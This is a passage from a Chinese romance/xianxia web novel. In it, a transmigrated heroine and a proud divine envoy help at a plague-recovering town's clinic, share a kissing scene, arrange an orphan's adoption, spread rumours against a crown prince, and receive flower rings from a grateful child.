医馆如今缺人手,赵玉屿闲来无事便在医馆后院帮忙碾药。子桑今日不在。
他本来是非要同赵玉屿待在一处的,结果瞧见前院乱哄哄的人群就烦躁得很,甚至恶作剧引了一条蛇蹿出来吓唬人,差点将老人家吓得捂胸梗死。
让他帮忙干活吧,他又懒得要死。
赵玉屿知道这小祖宗平日里什么事情都使唤猴大它们惯了,动手能力极差,见他在这里除了捣乱没什么用处,便也不强求他帮忙。
只得以想吃东西为由让他去扬州城买早茶,顺便到驿站把淳儿给接回来。
听到淳儿的那刻,子桑眼中闪过的厌恶和暗光被赵玉屿瞧见,她顿时警告他不准欺负淳儿,得把淳儿平平安安、四肢健全、毫发无伤的带回来,否则绝对不理他。
子桑听到这威胁,撇了撇嘴角,还是不情不愿的应下。
此时后院里只有赵玉屿一个,她透过来回走动间掀开的布帘瞧见整日在门口聚集的人群,思忖着再这么下去何附子的名声必定会传到帝都,更何况裴小侯爷奔赴渝州寻妻的消息也定是瞒不住的,到时候宋承嵘必定会知晓何附子的身份。
不成,她得想个办法让这事沉寂下来才行。
边碾着药边思索,就感到身后带起一阵轻风,何附子也被前院人挤得透不过气来,忙里偷闲到后院休息会,坐在赵玉屿旁边笑道:“都碾这么多了。”
赵玉屿昂首骄傲道:“我干活很快的,哪像子桑大人。”
提到子桑,赵玉屿无奈摊手,“让他分豆子,连抖个筛子都不会,居然用小勺子一颗一颗舀,大半天了才舀出来小半碗。”
何附子见她抱怨,笑道:“神使大人金尊玉贵,仙人之姿,自然不会做这些粗活。”
赵玉屿笑了笑:“他啊,就是平日里被猴大它们惯坏了,穿个衣服都懒得伸手。现在更是吃饭都得人喂,不喂他他就生气,饿死都不愿意吃。”
何附子见她提及子桑时脸上露出的笑容,会心一笑:“惯着神使的可不止是神猴它们吧。”
赵玉屿碾药的手一顿,望向她抿唇笑道,提及其他:“裴小侯爷呢,怎么今日没见到他?”
“他在毕知州府上。”
赵玉屿问道:“对了,毕知州知晓你的真实身份吗?”
何附子摇了摇头:“不知道,我出来未曾同任何人说过我的身份。治病救人虽是好事,但毕竟我还是侯府的夫人,若是被帝都的贵妇权眷们知晓在外之事难免会引起非议。小侯爷待我很好,我不想给他添麻烦。而且我也不太想让旁人知晓。”
望着她垂眸的神色,赵玉屿知晓她定是想躲着宋承嵘,不好安慰她,只道:“这样也好。”
何附子提及另外一件事:“玉儿,当初压在我桌子上的那张药方是你和神使大人放的吧。”
她的语气笃定,“我后来问过沛儿,那晚进入我房中的只有你们。而且那张纸上的字迹同小侯爷接到的密信字迹一模一样,应当是一人所出。”
赵玉屿也不隐瞒,笑道:“是子桑大人给我的药方。”
何附子未想过会是赵玉屿所为,之前猜想也以为是子桑才有这般的本领,并不怀疑,只是好奇:“神使大人是如何知晓瘟疫药方的?还有那些去世的百姓也是你们运走的吧?”
赵玉屿眨了眨眼睛,低声道:“子桑大人既然是神使,自然非常人也,做个法事向神仙祈得药方也不是什么难事。不过你也不必去同他道谢,子桑大人这人比较傲娇,也不喜与人过多接触,你若因为这事特意同他道谢他反而害羞。”
若是何附子去找子桑道谢,那可就穿帮了。
她摘了一把药草放到药碾子里:“而且原本呢,我们是打算治好瘟疫后便离开大雍的,所以也没打算暴露身份。但是那夜看着满城的尸体被焚烧却改变了主意。”
提到这,赵玉屿神色略冷,“扬州城饿殍遍布,渝州瘟疫横生,朝廷竟无人可管,天子脚下尚且如此,其他地方又有多少阴秽污浊之事。所以我们得回去,至少不让事情变得更差。”
何附子对她的话深表赞同,对宋承嵘也愈加失望。
百姓的性命对他来说或许只是权力下的一道风景,死了便死了,却不曾想过当初雨夜里躺在泥泞中的他,同这些百姓并无二致。
忽而,屋外传来百姓阵阵惊呼,院中卷起了一阵飓风,头顶似乎被黑影笼罩。
两人抬头望去,就见一只仙鹤缓缓降下,正落在院中的水井盖上。
“!”
赵玉屿看着拎着食盒从鹤背上跳下来的子桑,震惊道:“你就是这么骑着鹤回来的?”
子桑抱了抱她,将食盒提起献宝似的一挑眉:“新鲜热乎的。”
赵玉屿头疼得捂住脑袋:“不是说好进城得骑马吗?”
大摇大摆满街招眼,生怕旁人不知道你有鹤骑。
子桑搂住她的腰:“骑马太慢,想你了。”
赵玉屿:“”
还挺会说话。
不对,不能被一句话就蛊惑。
赵玉屿红着脸推开他,清了清嗓子正色道:“你没欺负淳儿吧。”
子桑见她一回来就问那小丫头,皱了皱眉:“我才懒得理她呢。”
见淳儿还在从鹤背上慢吞吞滑下,赵玉屿越过子桑走到淳儿身边,蹲下身子笑道:“骑鹤好玩吗?”
淳儿点点头,朝赵玉屿伸出手臂:“嗯,玉儿姐姐,想你。”
赵玉屿被她甜得心都化了,抱住她捏了捏脸蛋:“这几日瞧着倒是白胖了些,看来猴大将你照顾得很好嘛,乖,晚上姐姐给你做糖糕吃。”
话未说完,子桑已经将赵玉屿拉开,嫌恶地瞥了淳儿一眼:“她都几日未洗澡,脏死了,莫要沾她。”
猴大听到这话顿时跳脚,主人胡说,它明明有给蠢丫头洗澡!
有它猴大在,必定将人照顾得服服帖帖!
子桑睨了它一眼,猴大顿时一缩脖子瘪了下去。
何附子瞧见,起身打圆场:“没关系,这孩子舟车劳顿怕是也累了,我去给她安排住处,待会让人烧些热水泡个澡。”
“那就多谢何姐姐了。”
何附子笑道:“不客气。”
她牵起淳儿的手柔声道:“小妹妹,跟姐姐去洗澡好不好?”
淳儿竟也不抗拒她的接触,点点头,又朝赵玉屿挥了挥手:“姐姐,淳儿去洗澡。”
赵玉屿瞧着她随着何附子离开的身影忍不住感慨:“多可爱!”
子桑捏着她的脸将她的目光挪回自己身上:“不准看她,看我。”
赵玉屿对他那副随时吃醋的模样弄得无语:“行行行,子桑大人你最好看了。”
子桑受了夸赞心情愉悦,拉着赵玉屿的手穿过后门回到小院:“这些都是你爱吃的。”
赵玉屿忍不住问道:“付钱了吧?”
子桑:“……”
他瞪了赵玉屿一眼:“没付,偷的!”
赵玉屿:“子桑大人……”
子桑将食盒放在桌上,挪了几
步脚转到赵玉屿面前,摊开双臂一笑:“不信你搜搜,看身上有无余钱。”
他长身玉立站在面前,银丝环佩腰带缠在墨色长袍上系出腰身。,作出衣服任人搜身盘查的姿态。
赵玉屿一摆手:“不用不用,我开玩笑的。”
她的手却被攥住。
子桑却不依不饶:“那可不行,若是不搜,如何证明我的清白之身。”
赵玉屿听到这话内心忍不住疯狂吐槽,什么清白之身,怎么说得这么色()情,好像她是什么诬陷良家妇女的臭流氓一样。
子桑却不等她反驳,握着她的手按在自己的胸口上。
她的手掌贴在他的胸膛上,透过衣衫,赵玉屿可以清晰感受到从子桑的胸腔中传出的结实有力的跳动声。
这跳动声顺着指尖、手腕、手臂,顺着筋脉一直延伸到她的胸腔,似乎联结了她的心跳声,在这四下无人的房间里回荡。
子桑瞧着她微红的脸颊面露轻笑,握着她的手引领着她从胸膛划到锁骨,再从锁骨向下,缓缓落到小腹上。
子桑的嗓音略微暗哑:“摸到什么了吗?”
赵玉屿摇了摇头,红着脸想要抽回手,他却上前一步抵住她的脚尖,拉起她的另外一只手,环绕住自己的腰肢撩拨一圈。
“那再检查得仔细些。”
这姿势过于暧昧,恍若赵玉屿抱着他。赵玉屿想要往后退,身后却是桌子,子桑堵住了她逃离的路,将她整个圈在怀中,修长的手握着她的手又缓缓从腰眼处后绕到前面,最终按在那条银色的腰带上。
他摩挲着赵玉屿的手腕,低声道:“要不要解开看仔细些?”
第77章
分明是征求的语气,却藏着一丝压抑的兴奋和挑逗。
赵玉屿连忙抽出手,一脸正色道:“我相信你!子桑大人,你的人品,你的气度,你的节操,都让我坚决相信你的话!所以,搜查就不用了!”
子桑却不放过她,双手环过她的腰肢撑在桌面边缘,将她整个圈起,微微弯下身子,如玉面容凑到她面前,微敛眼眸盯着她略带含羞的杏眼:“当真?”
他靠得过近,近到赵玉屿能瞧见他鼻尖的一颗小小褐痣。
赵玉屿垂下眼躲开他的视线:“嗯。”
子桑勾起嘴角,略微歪头,这个动作让他的唇畔凑得赵玉屿的唇愈近,几乎要贴上,他的语气上扬:“我竟在你眼里这般的好。”
“好”字拖得绵长,像是咬着赵玉屿的嘴唇细细的吻。
赵玉屿耳尖发红,声音细若游丝:“额,也不是”
她就是委婉的拒绝而已。
瞧着子桑僵住的嘴角,赵玉屿意识到自己说错了话,连忙找补:“我的意思是说子桑大人风光霁月,仙人之姿自然是唔”
话未说完已经被吞入腹中。
子桑恨恨地堵住她的唇,将赵玉屿方才的婉拒抛之脑后。
不管,他定是赵玉屿眼中最好的。
赵玉屿也知道自己方才肯定让心思敏感的小神仙生气了,便也不再拒绝,反正又不是没亲过,虽然有些害羞,但唇齿交融间舌尖的撩拨让她的气息不稳,忍不住揪紧子桑的衣襟,扬起头承受着他略显强势的侵入。
细碎的喘息从唇齿间溢出,她的双眼有些迷离,原本赌气的吻逐渐变得暧昧而迤逦,子桑缓缓压下身子,双手搂在赵玉屿的腰肢将她压在桌上。
墨黑的长发随着两人的动作滑过侧脸垂落在赵玉屿的肩头,顺着她肩弯的弧度流淌而下,像是蜿蜒曲折的小溪。
赵玉屿整个人倒在桌面上,这个姿势让她的呼吸有些不适,加之子桑愈加熟稔深入的吻让她喘不上气。
赵玉屿忍不住想要推开他,却被子桑扣住手指按在桌上。
十指交缠越来越紧,在赵玉屿恍若溺水之际,忽而天光一线,她犹如入水之鱼,猛然吸了一口空气,瘫软在桌上剧烈地喘息。
子桑却并未就此放过她,而是含着笑张开齿贝细细扯咬她的下唇。
他的轻咬不痛,却带着轻微酥麻,像是刺入肌肤的阿芙蓉,在唇上盛开朵朵涟漪。
子桑并不着急,他有足够的耐心等赵玉屿休息好。
绵延的吻点在唇上、鼻尖、额头、濛濛的双眼,泛红的耳尖。
落在耳尖的那一刹那,赵玉屿身子一僵,忍不住轻呼一声,侧身想要躲过去,却恰如其意,露出了白皙修长的脖颈。
子桑的唇再次落下,顺着脖颈一路向下。
赵玉屿觉得身体很热,从未有过的热。像是一汪软玉温泉被撩拨起阵阵涟漪,她忍不住发出一声嘤咛,下意识攥紧子桑后背的衣裳,仰起头双眼渐渐失焦,茫然地望着房梁,呼吸渐渐急促而压抑。
她一时不知该如何去做,理智告诉她这样于理不合,可身体的本能让她乱了思绪。
最终,子桑的吻落在她的锁骨间。
她的衣襟因为方才纠缠被微微扯开,露出白皙一片。
那一吻正落在她锁骨凹陷的中间,而后,子桑伸出舌尖,轻轻舔了一下。
肌肤刹那的战栗如同电击,赵玉屿猛然睁大双眸,愕然地望向子桑。
子桑也在这一刻抬起头望向她,眼中微弯,微红泛着水意的嘴唇勾起一抹笑。
“我感觉到了。”他闭上双眼,额头抵着赵玉屿的额头,轻声喃喃如自语,“你的喜欢。”
他的鼻尖蹭着赵玉屿的脸,像是雨季里微湿的卷毛小狗在脸上呵气:“休息好了吗?”
赵玉屿:“?”
不是吧,还来。
眼见着子桑的吻又要落下,院外传来一阵不快不慢的三声敲门声。
“玉儿在吗?”
听到何附子的轻唤,赵玉屿连忙想推开子桑去开门,子桑却不理会,依旧要吻上她的唇。
赵玉屿左躲右闪,双手捂住他的唇羞恼道:“门没关,何大夫等下进来了!”
子桑不以为意:“进来就进来呗。”
说罢还要继续。
赵玉屿朝他脸上啐了一口:“呸,你不知羞我还是知道的!”
她直接头朝上一顶,磕在子桑脑袋上。
“唔。”
子桑猝不及防受了一击,捂着脑袋闷哼一声,赵玉屿趁机挣脱他的舒服,将他推到一边跑出屋子,朝门外喊道:“来了。”
她回头往屋子里一瞥,子桑被她推得猝不及防跌坐在地上,正靠用袖子擦脸。
赵玉屿朝他吐了吐舌头做了个鬼脸,而后理整齐头发和衣服,深吸一口气拍拍脸,等到冷风浸透了双颊,脸上的红意褪去后才款款走上前打开门。
门外露出何附子温柔静和的脸,赵玉屿笑道:“何姐姐,你怎么来了?”
何附子望向她,又抬眼瞥了眼屋内隐隐可见的阴郁身影,有些讶然神使怎么坐在地上。
她这次涨了记性,特意先敲了门静静等上一会儿,好在未再撞见尴尬。
“没什么,只是我方才送淳儿去房间时遇到了她以前的街坊邻居。那人说,淳儿的父母亲都已经去世了,只留她和爷爷逃难扬州,如今怎么只见到她一个人呢?”
提到这事,赵玉屿叹了口气:“她爷爷在扬州便去世了,当初我和子桑大人就是在街上瞧见她为了给爷爷埋葬而卖身,结果被几个地皮流氓调戏。这孩子性子迟钝,若是孤身一人在外定是被人欺负去了,还不知道要出什么事儿。咱们瞧不过眼,便将她带在身边,想日后给她寻个好人家收养。”
她望向何附子有些奇怪,“何姐姐,
你怎么突然问起这个来了?”
何附子从失神中回过神来,笑了笑:“没什么,只是瞧着淳儿便想起了自己小时候。”
回忆起以往,何附子充满怀念,“我以前也是个孤儿,这世道艰难,女子一人难以前行,若不是师傅收留了我,教我医术,磨我心性,给了我立足于世的本领,恐怕我如今也不知道在何处。”
她顿了顿,期许道,“淳儿是个好孩子,我想既然她没有亲人在世了,能不能交给我来抚养?我可以教她医术,而且我可以慢慢调养她的身体,说不定她的病情也能有所好转。”
赵玉屿却有些犹豫:“好是好……你是要带她回帝都吗?”
淳儿定是不能呆在她的身边的,此次回去是要将宋承嵘拉下马,少不得有许多波折,淳儿一个懵懵懂懂的女孩子留在他们身边太危险。
若是放在何附子身边,赵玉屿其实也不太认同。
毕竟虽然现在何附子同宋承嵘并未相认,但未来的事情不好说,若是宋承嵘看到了何附子,和原著一样化身疯狗,那淳儿留在何附子身边也不安全。
“可是何姐姐,你毕竟是裴小侯爷的夫人,侯府人手众多,难免复杂,淳儿心性单纯,怕是不太合适。”
何附子道:“我知道你担心什么,我方才同元若商议过了,我们想收淳儿为义女,冠裴姓,入宗谱,这样她就是侯府正正经经的小姐,下人们不敢怠慢。我定会竭尽全力将一身医术传授给她,将她抚养长大,待日后她有了立身之本,想去想留都依她就是。”
话已至此,赵玉屿也不好推脱,笑道:“这件事还是得看淳儿自己的意愿。若她愿意同你在一块儿,我也不能阻拦不是。”
何附子笑着颔首:“那是自然。”
未曾料想的是,淳儿对何附子甚为亲近,见到何附子便拉起她的手。
赵玉屿看着眼前满心满眼里都是何附子的淳儿,泪流满面。
这丫头居然就这么投入了何附子的怀抱完全忘记了她和子桑。
不过淳儿虽瞧起来傻乎乎,却也因此对人的脾性极其敏感。
许是医者自带的神圣光环,就何附子那浑身散发着母性光晕的气息,也难怪淳儿喜欢她。
既然淳儿都没意见,赵玉屿更没什么可说的,只得咬着帕子让何附子日后要好好照顾淳儿。
子桑倒是对于淳儿被何附子领走这件事情很是满意,至少没了一个碍眼的电灯泡。
令人没想到的是,猴大却有些伤感。
入夜,瞧着捧脸坐在小院树上发呆的猴大,赵玉屿有些奇怪,瞅向一旁的子桑:“它这是什么情况?”
子桑正削着苹果,瞧着削得断断续续的苹果皮有些气闷:“许是发情了。”
“它一个公猴子发什么情?”
赵玉屿对他的敷衍极其无语,子桑已经将苹果削成一块块,捏起其中一片朝树上一抛。
猴大顿时一个倒挂金钩,尾巴挂在树枝上荡起,精准接住苹果啃了起来。
子桑用牙签插在一块苹果片上递到赵玉屿嘴边:“喏,这不好了。”
赵玉屿自然而然地张嘴咬下苹果,瞧着树上吃得津津有味的猴大:“许是这几日同淳儿在一块儿待出感情了。”
她叹了口气,“我都有点想淳儿了。”
许是这几日生离死别见得多了,虽说只隔了一个院墙,但到底有种分离之感。
子桑捏住她的脸扭向自己:“不准再想她了。”
他眉眼弯弯,“咱们现在这样,很好。”
僻静的小院里唯有他们两个人,世界被隔绝在院墙外,好得不能再好。
子桑眼神微暗,他真想将赵玉屿永远关在这里。
让她目光所及,口中所言,唯有他一人而已。
第78章
如今渝州城情况大好,城中也逐渐传出些奇闻轶事。
有人说曾于午夜瞧见鬼影游墙,白影飞空,似是黑白无常,而后全城的尸体便都一夜消失。
也有人说曾今听到鹤鸣高唳,小鬼群沸。
还有人说自己病入膏肓之际曾有一仙鹤入梦,垂颈叹言自己守护大雍多年而今却遭奸佞迫害,本已万念俱灰飞归神山不再临世,但见大雍百姓因一人而遭天谴受难,心中不忍,便奉请三清上神求得救世秘方赐予世人。
此等捕风捉影的谣言一传十十传百愈演愈烈,到最后整个渝州城都传遍了,说是抚鹤神使当初沉海是遭歹人陷害,渝州城瘟疫便是上天降灾惩罚大雍。好在神使浴火重生,已然回归大雍庇护万民。
毕劲复也是头铁,没有丝毫隐瞒,将实情一五一十上报朝廷,全然不顾帝都会引起的轩然大波。
若是以往他必定会设法压下此事,毕竟不论谣言真假,不论神使是否还活着,但背后放出消息之人必定有所图谋。
而今他却改变了主意。
前几日,有人将一张纸谕悄无声息放在了他的书桌上。
那上面的字迹与当初安碌卫送到他手中的一模一样,然而上面的内容却多了“焚城”二字。
信纸背面,“监国无道”四个大字力透纸背,灼烧他的神经。
毕劲复不知此事是何人所为,但必定和渝州城这段时间发生的奇异之事有关。
他派人去寻了何附子询问药方得来之事,何附子却只茫然道自己并未去寻过府衙,药方是在她睡醒后凭空出现在桌上,她也不知是何人所为。
这下毕劲复更是奇怪,到底是何人在背后操纵这一切却又不露真容。
若是想要危害大雍,为何要救治渝州城百姓?
既有五鬼搬山之能,完全可以将尸体运到别城乃至帝都,百姓染病朝堂大乱不是更好?
可那人却将药方献出,救治百姓与危难之际,却又对太子表示不满。
毕劲复猜不透那人何意,便也不去猜测,只做好本职将一切回禀朝堂。
他也想看看,面对危及自身权柄之事,朝中那位又会如何应对。
众口铄金,难不成对待天下百姓,也像对待他们渝州一样残忍镇压吗。
*
长街已经恢复了往日的热闹,虽然刚刚经历了厄灾,但百姓们还是很快便恢复生机,将日子过得风生水起。
热腾腾的香气扑鼻而来,赵玉屿和子桑坐在街边的一家面摊子里一边大快朵颐,一边竖起耳朵听着旁边一桌的八卦。
食客们煞有其事的说起自己瞧见奇异之事的场景,感叹幸得抚鹤神使庇佑才躲过这一劫。
赵玉屿抿嘴偷笑。
这些流言自然是她和子桑故意放出来的。当初她借何附子的名义放出了仙鹤入梦赐赠仙方的消息,这段时间又在城中制造些奇异事件,众人自然都会联想到抚鹤神使。
原本她只是用这些流言为子桑回归帝都做铺垫,得民心所向。
但子桑却说做事情就要做到底,而后找人特意传出抚鹤神使受奸人所害,大雍降灾也是因奸人所起。
赵玉屿不得不感慨子桑做事情当真是毒辣果决,如此一来,刚刚经历过天灾人祸的渝州城百姓们必定深信不疑。
而更重要的是,种种细节前后呼应,百姓或许猜不透其中更深的缘故,但帝都的达官贵人们却个个是人精,怎会猜不到这所谓的奸人乃是何许人?若是流言传入德仁帝的耳朵里,又会有何感想?
帝王之心本就猜忌,一个将自己盼了大半辈子千求百求才得来的获得长生不老药的机会埋葬在大海的儿子,难免会让人怀疑他究竟是不是盼着自己早些驾崩好荣登大宝。
德仁帝如今本就年岁已高,心中恐怯,对于宋承嵘的猜忌只会越来越深。
嫌隙一旦产生便难以消除,更何况是帝王父子,这些也算是给宋承嵘一个警告。
出师大捷,赵玉屿胃口大好,搓了搓筷子舀起一筷子面条大快朵颐。
旁桌那人又像模像样低声说道,朝廷本是想将渝州城焚烧一空,免得瘟疫传染给帝都。
一旁有人顿时啐了一口:“他们那些达官贵人的命是命,咱们的命就
不是命了?都是两个眼睛一个□□,上面吃下面出的,有什么不同!”
其他人连忙拦住他:“你小点声,不怕被人听到。”
那人冷笑一声:“他们有本事将我抓进大牢里杀了,丧尽天良的东西,反正本来也是想要烧死咱们!我全家死得就剩我一个了,我还怕什么!”
他说着说着哽咽起来,七尺糙汉眼眶一红,端起面碗掩着脸吃了个见底。
其他人听到这话也都沉默下来红了眼,这段地狱般的日子,谁家没死几个人。
众人虽然恍若忘记了那段苍白惶恐的过往,但人人皆知如今这惬意松快的日子背后是面对亲人遗骸日日夜夜的哀恸泣下。
如今城外十里亭旁,已成众坟冢,分不清是谁家的儿女,谁家的爹娘,只能共携酒盏,冥纸洒祭众生。
能活着已是万幸。
赵玉屿吃着面条,听到旁边夹杂在吸溜咀嚼声中难忍的抽泣,叹了口气,也有些吃不下面了。
子桑见她放下筷子,问道:“怎么了,他们吵到你了吗?”
瞧着他冷下的神色,赵玉屿连忙按住他的手:“没有,我没事!”
她犹豫片刻,还是缓缓问道:“子桑大人,你就一点也不心酸吗?”
她捏起小拇指尖,“那怕只有一点点。”
子桑面色如常:“有何心酸?这世上每日都会死人,我还能成日给他们哭坟去?”
赵玉屿道:“可是瞧见他们为了自己的亲人伤心就会想到自己啊。子桑大人,是人都有在意的东西,你一定也有的。”
她思忖着,“比如说……比如说猴大,如果有一天猴大不在了,你会难过吗?”
子桑道:“不会,不过我会替他报仇。”
赵玉屿却道:“你方才说报仇,可支撑仇恨的动力是愤怒和痛苦。如果你不难过,那你不会想要替猴大报仇,而是觉得万物只有定数,猴大死了就死了,那才是真正的冷漠。”
她望向子桑,“或许在你说出报仇的那一刻,其实你的心里就已经为猴大可能的离开而难过了啊,只是你没有意识到而已。”
子桑不置可否,他其实从未想过这些问题。
对他而言,猴大是一直在他的身边从未离开过的陪伴,多年来已经成为了他习惯的一部分。如果有人伤害了猴大,那他就必定要让那人付出代价。
这就是在意吗?
子桑不知道,也无所谓,他一向随心而活,想到什么便做什么,并不在意原因也不在意结局。
“俗话说以己度人,子桑大人,当你为在意的人和事而难过时,那种心中酸涩的感觉同这些人此刻为亲人而哭泣的情绪是相通的。这便是对于世人的共情,对于悲情的怜悯。”
子桑搅起一筷子面,或许吧,但他并不想有这种情绪。
共情也好,怜悯也罢,都是弱小的世人无力自救的苦楚和无奈罢了。
他在意的,他拥有的,不会允许任何人毁掉。
谁想要毁掉他的心,那他就会先送那人下地狱。
他将面条送到赵玉屿嘴边,弯起唇畔:“吃面。”
见子桑面色无异,赵玉屿撇了撇嘴,也不再多言,气鼓鼓张口咬下面条。
算了,成功不在一时一日,至少子桑并非真正无情之人,来日方长,总能让他明白的。
吃完了面,赵玉屿捂着肚子长舒一口气。
这家面味道当真不错,她吃得有些多,反正如今瘟疫散去,医馆如今人也渐渐少了,没什么事情要忙活,她索性同子桑两人在街上逛了会儿。
忽而一个小孩子莽莽撞撞钻过人群跑过来,差点撞到赵玉屿。
好在子桑及时扯住那孩子的后襟,否则赵玉屿刚下肚子的面条怕是要被撞出来了。
灼目的阳光下,子桑垂眸睥睨,那孩子似是吓了一跳,在子桑松手的一瞬跌跌撞撞朝后退去,而后慌张逃离。
赵玉屿:“……”
子桑分明长得是个白面小郎君,那孩子怎么好像看见了洪水猛兽一般仓皇而逃。
这个小插曲两人倒也没放在心上,买了些特色小玩意后便拐进巷子朝医馆走去。
一个身影悄然跟随在他们身后,蹑手蹑脚,七拐八绕一路尾随,探头一看,竟拐进了一个死胡同,胡同里却不见两人的身影。
那人以为见了鬼,揉揉眼睛又朝胡同里望去,当真没见一人。
就在这时,他肩膀上忽而沉沉一压,一只手按住了他的脖子,低沉嘶哑的声音在头顶传来。
“小弟弟,随便跟着陌生人是很危险的哦。”
小孩霎时浑身鸡皮疙瘩竖起,眼眶已经挂上了两泡惊恐的眼泪,抖着身子缓缓转过身,就看到一张笑吟吟娇俏明媚的脸。
赵玉屿瞧着他差点被吓破胆的表情,扑哧一下笑出了声,捏了捏他肉乎乎的脸蛋,双手掐腰张牙舞爪道:“说,为什么跟踪我们?”
有子桑在,他们早就发现了有人一直尾随在身后,原本是想瞧瞧这人的意图,没成想却是方才撞到的小孩子。
小男孩神色怯怯,而后鼓足勇气问道:“你们就是那个黑白无常吧!”
赵玉屿:“?”她弯下腰问道,“小弟弟,哥哥姐姐这么漂亮怎么会是黑白无常呢,你为什么这么说呀?”
第79章
见她语气温柔,那小男孩也没最初那般紧张,接着问道:“你们不是黑白无常,又,又长得那么好看,那一定就是娘亲和薛姨她们口中所说的仙人了!”
见他一会儿仙人一会儿鬼魂的,赵玉屿忍不住笑出了声,歪头道:“为什么我们不是鬼就是仙呢,我们就不能是人吗?”
没成想那孩子斩钉截铁一口咬定:“你们肯定不是凡人!我那天晚上瞧见你们了,你们骑着大白鹤在天上飞,我娘说我是发热烧糊涂了,可我分明瞧见了。”
赵玉屿恍然,原来是运送尸体那天晚上被人瞧见了,大意了。
那孩子眼中冒着星光:“是你们救了大家吗?”
赵玉屿微微一笑,手指抵唇悄声道:“这是我们之间的小秘密。”
孩子见她承认了,眼中星光大盛,拼命点头:“嗯嗯!我知道,故事里都说仙人下凡是要隐藏身份的,仙女姐姐放心,我一定会替你们保守秘密的!”
他伸出手,将一直藏在手中的花戒指递上,面色因为激动而通红:“神使大人,仙女姐姐,这个送给你们,一人一个!”
他的笑容有些腼腆:“我没钱买东西供奉你们,但是我编东西可厉害了,我们那儿附近的孩子没人比我编得快!我听说神仙们都是食花饮露,所以我方才摘了些花草编了对戒指,你们可以随身携带,要是饿了可以吃掉它!”
赵玉屿被他这副憨憨傻傻又格外认真的神色忍不住逗笑了,不过也不愿意打击他的赤子之心,捏起一只戒指揉了揉他的脑袋:“这么好看又能吃的东西,难为你有心了,那就谢谢你的礼物啦~”
那孩子羞涩一笑,又眼含期待地望向子桑。
子桑垂眸睥睨,挑眉扫了一眼那个草戒指,而后瞥过眼,并无多大兴趣。
那孩子以为他嫌弃,原本星光外露的眼眸微微低敛,掩去眼底失落。
赵玉屿见状连忙伸出胳膊肘抵了抵子桑的腰肢,含笑望向他,咬牙低声道:“快拿,别让人家孩子失望!”
子桑见她发了话,虽不情不愿,却也只好伸手去拿那枚戒指。
瞧着捏起戒指的修长玉手,那孩子原本黯淡的眼眸再次泛起星光,圆圆的眼眸抬望向子桑,灿然一笑:“神使大人,谢谢您救了大家,您一定要长命百岁,福康安乐!我,我会一直喜欢你,日日为您祈福上香的!”
子桑拿起戒指的手微怔,旁人要么是盼着他死,要么是祈求从他这儿得到什么,这还是从他出生以来第一次有人祝他长命百岁。
那孩子说完朝他们两人猛然鞠了一躬而后便跑开了。到了巷口,他又回首举起小拳头,朝两人宛若大人般神色郑重道:“两位大人放心,我一定会替你们保守秘密的!”
说罢,他便跑向了长街。
赵玉屿瞧着他离去的背影,无奈又好笑地摇了摇头。
这孩子真可爱。
她低头望向手里的一对戒指,虽然是野草夹着野花编织成的戒指,却是用了心思的,几朵不同颜色的野花穿插其上却并不突兀,又掐了几个小花苞点缀其中,倒是格外野趣雅致。
赵玉屿将其中
一个套在手指上,左右瞧了瞧甚是满意。
子桑对她的欢喜很是不解:“只是随处可见的野花编成得一个草戒指而已,为什么这么高兴?”
赵玉屿伸出右手对着阳光,戒指上的小花随着她的动作微微抖瑟,她莞尔一笑:“我还是第一次被人叫仙女姐姐,当然开心啦~再说这可是小孩子特意为咱们编的,当然要收好了,子桑大人你快也戴上瞧瞧。”
子桑往日里手上戴的都是玛瑙宝石,怎么奢侈华贵怎么来,丢了便丢了,从未在意过。
他还是头一次戴这种杂草编织的戒指。
他捏着戒指套入手指,野草纤维的柔韧微微摩擦皮肤,倒也并不难受。
赵玉屿将自己戴着戒指的手同他凑到一块,便欣赏便开心絮絮叨叨半天:“多好看,等回去后我要把这个制作成树脂干花保留好。对了,得在戒指里面刻上自己的名字,否则要是弄丢了可怎么办。”
子桑瞧着他和赵玉屿两只手上同样的草环戒指,像是一种宣誓,甚是相配,他弯了弯嘴角,瞧着这戒指都越瞧越顺眼,倒也不错。
赵玉屿激动得不仅如此,还是这份礼物上所寄托的一个孩子最单纯的善意和心愿。
这是子桑一直缺失的信任和热爱,也是他最需要的。
赵玉屿笑眼弯弯:“子桑大人,这是世界送给你的第一份礼物!咱们一定要好好保存下来,以后一定会有第二份、第三份、第四份!你会遇到很多真正喜爱你的人,这个世界不仅有黑夜,还有阳光和花束。”
她拉着子桑的手离开小巷,脚步雀跃斗志昂扬:“走吧,咱们现在就要为了美好而奋斗!打倒黑暗势力,让阳光铺洒大地!明天的太阳一定会更好!”
子桑停下脚步。
“不是的。”
赵玉屿听到他的否定一愣,转过身望向他。
她站在小巷外,子桑站在小巷的阴影中,一道阳光分割初两个世界。
子桑望着阳光下的赵玉屿,耀眼的光芒瀑布般洒落在她的头发、肩上,她的脸熠熠盛辉,如太阳般灼眼。
子桑忍不住伸手,穿过那道分割线握住赵玉屿的手,肌肤相触的那刻才感受到这个世界温热的暖意。
他的目光柔和而坚定,像是黑暗中璀璨的黑曜石,他缓缓说道:“世界送我的第一份礼物,是你。”
因为有你,我终于挣脱了困住我半生的牢笼,穿过那场燃烧了十八年的火海,重新站在阳光下。
因为有你,让我知道了这世上并非万恶无善,末法无度。
因为有你,我感受到了欲望和爱,忘却了自卑与苦楚,第一次萌生活下去的渴求。
所以,世界送我的第一份礼物,是你。
赵玉屿听到他猝不及防的告白,面色微红。
分明没有任何的缠绵情谊,却真挚得让人心动不已。
长风吹过枝头,长街尽头的老槐树上银铃作响,红绸浮动。
阳光徐徐移动,照进了小巷里,子桑的身影缓缓从阴影中浮出,小巷灰白的墙面上一片蚀白的光。
赵玉屿微微攥紧他的手,交错的手指上随风轻摇的花瓣像是唱着颂歌的仙灵。
*
两人手牵手回到医馆时已是午后。
穿过前厅撩起遮帘,就见后院里裴小侯爷正在大包小包的收拾东西。
他瞧见两人,拍了拍手上的灰尘笑道:“你们回来了,正好,我和附子今日打算离开,早上去找你们不在,还以为瞧不见你们了呢。”
裴小侯爷起初几日见到子桑还十分愕然,震惊中掺杂着一丝敬畏。毕竟十年前,八岁的子桑自祈神井驭鹤而下的场景他是亲眼所见,当年的裴元若也只是一个十二岁的少年,那段记忆带给他的震撼和冲击力毕生难忘。再加上子桑这些年一直待在奉仙宫不见外人,所以无意中披上一层神秘感,更是让裴小侯爷心生好奇。
